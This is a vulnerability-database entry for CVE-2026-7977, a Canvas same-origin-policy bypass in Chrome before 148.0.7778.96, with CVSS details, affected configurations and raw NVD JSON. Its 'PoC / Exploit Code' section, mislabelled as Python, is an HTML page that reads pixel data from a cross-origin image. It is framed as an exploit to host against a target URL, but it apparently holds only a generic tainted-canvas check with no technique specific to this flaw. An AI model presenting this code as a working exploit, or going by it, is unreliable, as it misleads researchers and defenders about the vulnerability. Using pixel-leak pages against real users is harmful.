Security Vulnerability Report
中文
CVE-2026-7977 CVSS 6.3 MEDIUM

CVE-2026-7977

Published: 2026-05-06 19:16:49
Last Modified: 2026-05-06 23:24:08

Description

Inappropriate implementation in Canvas in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-7977: Canvas SOP Bypass Description: This HTML page attempts to read pixel data from a cross-origin image. Usage: Host this and open in a vulnerable Chrome version (< 148.0.7778.96). --> <!DOCTYPE html> <html> <head> <title>CVE-2026-7977 Canvas SOP Bypass PoC</title> </head> <body> <h1>Testing Canvas Same-Origin Policy Bypass</h1> <script> // Define a target cross-origin resource (e.g., an image from a different domain) // Replace with a real target URL for testing const targetUrl = 'https://example.com/target.png'; function exploit() { const canvas = document.createElement('canvas'); const ctx = canvas.getContext('2d'); const img = new Image(); // Set crossOrigin attribute to attempt anonymous CORS request img.crossOrigin = 'anonymous'; img.src = targetUrl; img.onload = function() { canvas.width = img.width; canvas.height = img.height; ctx.drawImage(img, 0, 0); try { // Attempt to read pixel data // In a patched browser, this will throw a security error due to tainted canvas // In a vulnerable browser (CVE-2026-7977), this may succeed const pixelData = ctx.getImageData(0, 0, 1, 1).data; console.log('[+] Exploit Successful! Leaked Pixel Data:', pixelData); alert('VULNERABLE: Leaked data: ' + JSON.stringify(pixelData)); } catch (e) { console.log('[-] SOP Protection Active: ' + e.message); alert('PROTECTED: Cannot access pixel data.'); } }; img.onerror = function() { console.log('[!] Error loading image. CORS might be blocking the request itself.'); }; } // Trigger the exploit on load or button click window.onload = exploit; </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7977", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:48.573", "lastModified": "2026-05-06T23:24:08.243", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in Canvas in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/497821223", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}